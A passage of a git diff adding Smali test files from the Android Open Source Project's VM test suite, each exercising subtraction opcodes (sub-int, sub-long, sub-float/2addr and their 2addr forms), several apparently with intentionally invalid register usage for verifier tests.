+.class  public Ldot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 4
+
+       sub-float/2addr v1, v3
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_5.smali
new file mode 100644
index 0000000..98189d3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_5.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_float_2addr_5.java"
+.class  public Ldot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IF)F
+.registers 4
+
+       sub-float/2addr v2, v3
+       return v2
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_6.smali
new file mode 100644
index 0000000..83c0fa6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_6.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_float_2addr_6.java"
+.class  public Ldot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 4
+
+       sub-float/2addr v2, v4
+       return v2
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_1.smali
new file mode 100644
index 0000000..7da44d9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_1.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_int_1.java"
+.class  public Ldot/junit/opcodes/sub_int/d/T_sub_int_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       sub-int v0, v2, v3
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_2.smali
new file mode 100644
index 0000000..bbdfdee
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_2.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_int_2.java"
+.class  public Ldot/junit/opcodes/sub_int/d/T_sub_int_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       const-wide v0, 123456.0
+       sub-int v0, v2, v0
+       return v3
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_3.smali
new file mode 100644
index 0000000..5eabdfd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_3.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_int_3.java"
+.class  public Ldot/junit/opcodes/sub_int/d/T_sub_int_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       const-wide v0, 123456675
+       sub-int v0, v0, v2
+       return v3
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_4.smali
new file mode 100644
index 0000000..af83327
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_4.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_int_4.java"
+.class  public Ldot/junit/opcodes/sub_int/d/T_sub_int_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       sub-int v0, v1, v3
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_5.smali
new file mode 100644
index 0000000..3d1bc31
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_5.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_int_5.java"
+.class  public Ldot/junit/opcodes/sub_int/d/T_sub_int_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IF)I
+.registers 4
+
+       sub-int v0, v2, v3
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_6.smali
new file mode 100644
index 0000000..6b736ae
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_6.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_int_6.java"
+.class  public Ldot/junit/opcodes/sub_int/d/T_sub_int_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       sub-int v0, v2, v4
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_1.smali
new file mode 100644
index 0000000..25875ff
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_1.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_int_2addr_1.java"
+.class  public Ldot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 3
+
+       sub-int/2addr v1, v2
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_2.smali
new file mode 100644
index 0000000..05498c8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_2.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_int_2addr_2.java"
+.class  public Ldot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       const-wide v0, 123456.0
+       sub-int/2addr v2, v0
+       return v3
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_3.smali
new file mode 100644
index 0000000..20e69e6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_3.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_int_2addr_3.java"
+.class  public Ldot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       const-wide v0, 123456675
+       sub-int/2addr v0, v2
+       return v3
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_4.smali
new file mode 100644
index 0000000..0e98c5d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_4.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_int_2addr_4.java"
+.class  public Ldot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 3
+
+       sub-int/2addr v0, v2
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_5.smali
new file mode 100644
index 0000000..18b78b6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_5.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_int_2addr_5.java"
+.class  public Ldot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IF)I
+.registers 3
+
+       sub-int/2addr v1, v2
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_6.smali
new file mode 100644
index 0000000..af58f87
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_6.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_int_2addr_6.java"
+.class  public Ldot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 3
+
+       sub-int/2addr v1, v3
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_1.smali
new file mode 100644
index 0000000..1c360a4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_1.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_long_1.java"
+.class  public Ldot/junit/opcodes/sub_long/d/T_sub_long_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 7
+       sub-long v0, v3, v5
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_2.smali
new file mode 100644
index 0000000..dee39d9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_2.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_long_2.java"
+.class  public Ldot/junit/opcodes/sub_long/d/T_sub_long_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)J
+.registers 7
+       sub-long v0, v3, v5
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_3.smali
new file mode 100644
index 0000000..d25f752a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_3.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_long_3.java"
+.class  public Ldot/junit/opcodes/sub_long/d/T_sub_long_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 7
+       const v3, 12346
+       sub-long v0, v3, v5
+       return-wide v5
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_5.smali
new file mode 100644
index 0000000..6991b35
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_5.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_long_5.java"
+.class  public Ldot/junit/opcodes/sub_long/d/T_sub_long_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 7
+       sub-long v0, v3, v2
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_6.smali
new file mode 100644
index 0000000..28cabfb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_6.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_long_6.java"
+.class  public Ldot/junit/opcodes/sub_long/d/T_sub_long_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 7
+       sub-long v0, v3, v7
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_1.smali
new file mode 100644
index 0000000..0743e9f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_1.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_long_2addr_1.java"
+.class  public Ldot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 7
+
+       sub-long/2addr v3, v5
+       return-wide v3
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_2.smali
new file mode 100644
index 0000000..d2ae540
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_2.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_long_2addr_2.java"
+.class  public Ldot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)J
+.registers 7
+       sub-long/2addr v3, v5
+       return-wide v3
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_3.smali
new file mode 100644
index 0000000..be16558
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_3.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_long_2addr_3.java"
+.class  public Ldot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 7
+
+       const v3, 12346
+       sub-long/2addr v3, v5
+       return-wide v5
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_5.smali
new file mode 100644
index 0000000..acbbaca
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_5.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_long_2addr_5.java"
+.class  public Ldot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 7
+
+       sub-long/2addr v3, v2
+       return-wide v3
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_6.smali
new file mode 100644
index 0000000..3abafb3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_6.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
